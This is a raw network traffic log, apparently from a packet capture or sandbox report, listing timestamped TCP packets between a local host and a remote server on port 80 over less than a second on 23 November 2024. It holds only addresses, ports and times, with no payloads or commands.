Nov 23, 2024 03:21:15.105890036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.105937004 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.105977058 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.106014013 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.107043982 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.107086897 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.107119083 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.107177973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.108158112 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.108198881 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.108264923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.108356953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.109302998 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.109371901 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.109409094 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.109450102 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.110444069 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.110495090 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.110549927 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.110609055 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.111598015 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.111641884 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.111705065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.111748934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.112663984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.112709045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.254538059 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.254550934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.254584074 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.254600048 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.255661964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.255675077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.255711079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.255723000 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.256699085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.256711006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.256753922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.257498026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.257536888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.257544994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.257579088 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.258662939 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.258675098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.258711100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.258723974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.259721994 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.259773016 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.259905100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.259955883 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.260694027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.260740042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.260932922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.261157036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.262157917 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.262168884 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.262212038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.263073921 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.263122082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.263258934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.263300896 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.264401913 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.264414072 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.264475107 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.265455008 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.265501022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.265635967 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.265697956 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.266412020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.266472101 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.266622066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.266674995 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.267695904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.267750025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.267883062 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.267931938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.268958092 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.268974066 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.269032955 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.269967079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.270025969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.270128012 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.270169973 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.271164894 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.271178007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.271311045 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.272180080 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.272228003 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.272339106 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.272389889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.273233891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.273292065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.273319006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.273392916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.275423050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.275434971 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.275469065 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.275482893 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.276441097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.276482105 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.276614904 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.276669025 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.276916027 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.276927948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.276974916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.277957916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.277970076 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.278032064 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.278949976 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.279088974 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.279134989 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.279175997 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.280092955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.280133963 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.280304909 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.280400038 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.281205893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.281299114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.281299114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.281342030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.282316923 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.282377005 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.282378912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.282607079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.283457041 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.283569098 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.283622980 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.284578085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.284693956 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.284745932 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.285731077 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.285794020 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.285799026 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.285840034 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.286864996 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.286967993 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.287023067 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.288005114 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.288122892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.288176060 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.289143085 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.289191961 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.289225101 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.289798021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.290293932 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.290359020 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.290389061 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.290427923 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.293472052 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.293482065 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.293492079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.293503046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.293518066 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.293553114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.293762922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.293790102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.293836117 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.295490980 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.295504093 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.295538902 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.296619892 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.296632051 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.296672106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.297319889 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.297368050 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.297494888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.297538042 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.298357964 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.298398972 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.298547983 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.298584938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.299577951 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.299634933 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.299757004 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.299810886 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.300750017 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.300807953 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.300885916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.300929070 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.301978111 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.301990032 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.302026987 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.302038908 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.302903891 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.302954912 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.303085089 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.303132057 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.304007053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.304063082 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.304200888 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.304245949 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.305088997 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.305130005 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.305356026 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.305396080 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.306397915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.306433916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.306444883 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.306483030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.307497978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.307543993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.307671070 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.307728052 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.308856010 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.308867931 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.308908939 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.309900045 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.309911013 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.309947014 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.310929060 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.310977936 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.311121941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.311165094 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.312145948 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.312197924 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.312275887 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.312310934 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.313333035 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.313349009 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.313393116 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.314366102 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.314413071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.455970049 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.455981970 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.456049919 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.456422091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.456504107 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.456554890 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.457307100 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.457354069 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.457396984 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.458437920 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.458484888 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.458535910 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.458611965 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.459562063 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.459702969 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.459748983 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.460705042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.460819960 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.460865021 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.461875916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.461920023 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.461952925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.462613106 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.462975979 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.463021994 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.463077068 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.463119030 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.464122057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.464167118 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.464772940 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.464818954 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.467653036 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.467704058 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.467793941 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.467803955 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.467814922 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.467838049 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.467855930 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.468530893 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.468543053 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.468575001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.468588114 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.469680071 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.469691992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.469732046 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.470786095 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.470932007 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.470973969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.471963882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.471976042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.472007036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.472026110 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.473048925 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.473107100 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.473191977 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.473233938 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.473263025 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.473304033 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.473320961 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.473366022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.474423885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.474467993 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.474598885 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.475511074 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.475554943 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.475598097 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.476638079 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.476691008 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.476756096 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.476799011 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.477797985 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.477896929 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.477946043 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.478924990 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.479037046 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.479078054 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.480057001 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.480099916 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.480158091 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.481216908 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.481260061 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.481327057 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.482394934 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.482439041 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.482451916 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.482489109 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.483503103 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.483607054 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.483649969 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.484613895 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.484719992 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.484766960 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.485757113 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.485800028 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.485867023 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.486610889 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.486886978 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.486931086 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.486995935 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.487041950 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.488037109 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.488079071 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.488138914 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.488179922 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.489168882 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.489212036 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.489270926 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.489314079 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.490298986 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.490345001 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.490402937 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.490444899 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.491472006 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.491569042 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.491614103 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.492593050 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.492703915 CET	80	49760	31.41.244.11	192.168.2.4
Nov 23, 2024 03:21:15.492748022 CET	49760	80	192.168.2.4	31.41.244.11
Nov 23, 2024 03:21:15.494750023 CET	80	49760	31.41.244.11	192.168.2.4
